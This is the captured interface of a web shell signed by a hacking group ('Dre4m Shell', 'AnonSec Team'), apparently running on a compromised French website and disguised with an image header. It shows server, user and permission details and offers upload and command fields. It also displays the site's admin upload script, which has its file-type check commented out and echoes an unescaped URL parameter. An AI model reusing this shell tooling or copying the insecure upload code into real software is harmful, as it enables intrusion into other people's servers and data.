ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin/add_slideshow_pictures.php
<?php

include_once('includes/header.php');

if(isset($_FILES['files']))
{
  $errors= array();
  foreach($_FILES['files']['tmp_name'] as $key => $tmp_name )
  {
    $file_name = $key.$_FILES['files']['name'][$key];
    $file_size =$_FILES['files']['size'][$key];
    $file_tmp =$_FILES['files']['tmp_name'][$key];
    $file_type=$_FILES['files']['type'][$key];

    //$extensions = array("jpeg","jpg","png");
    //$file_ext=explode('.',$_FILES['image']['name'][$key]) ;
    //$file_ext=end($file_ext);  
    //$file_ext=strtolower(end(explode('.',$_FILES['image']['name'][$key]))); 
    //if(in_array($file_ext,$extensions ) === false){
    //  $errors[]="Fichier non autorisé !";
    //}

    if($_FILES['image']['size'][$key] > 2097152)
    {
      $errors[]='Fichier suppérieur à 2 MB !';
    }
    // Enregistrement des images sur le serveur
    $desired_dir="../uploadfiles/slideshows/";
    if(empty($errors)==true)
    {
      if(is_dir($desired_dir)==false)
      {
        mkdir("$desired_dir", 0700);    // Créer un dossier si il n'existe pas
      }
      if(is_dir("$desired_dir/".$file_name)==false)
      {
        move_uploaded_file($file_tmp,"$desired_dir/".$file_name);
      }
      else
      {
        // renome les images si elles existe déjà
        $new_dir="$desired_dir/".$file_name.time();
        rename($file_tmp,$new_dir) ;        
      }

      $requete = $bdd->prepare('INSERT INTO ' . $GLOBALS['db_table']['slideshow_pictures'] . ' (picture, slideshow) VALUES (:picture, :slideshow)');

      $requete->execute(array(
              'picture'   => $file_name,
              'slideshow' => $_GET['id']
            ));
    }
    else
    {
      echo '<h4 class="alert_error">';print_r($errors);echo '</h4>';
    }
  }

  if(empty($error))
  {
    echo '<script>';
    echo 'window.location = "./slideshow_content.php?id=' . $_GET['id'] . '"';
    echo '</script>';
  }
}

?>

<div class="container">
    <div class="row">
      <div class="span12">
          <div class="page-header">
              <h1>Ajouter Image(s)
                <div class="pull-right">
                  <a href="slideshow_content.php?id=<?php echo $_GET['id']; ?>" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
              </div>
            </h1>
            </div>
        </div>
    </div>
    <form action="add_slideshow_pictures.php?id=<?php echo $_GET['id']; ?>" method="POST" enctype="multipart/form-data">
        <div class="well general" style="margin-top:0">
            <div class="control-group">
                <input type="file" name="files[]" multiple/>
                <br /><br />
            Dimensions recommand&eacute;es : 1900px X 670px
                <br />
                Poids maximun : 400ko
            </div>
        </div>
        <div class="form-actions">
            <div class="btn-group">
                <button type="submit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
            </div>
        </div>
    </form>
</div>
<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team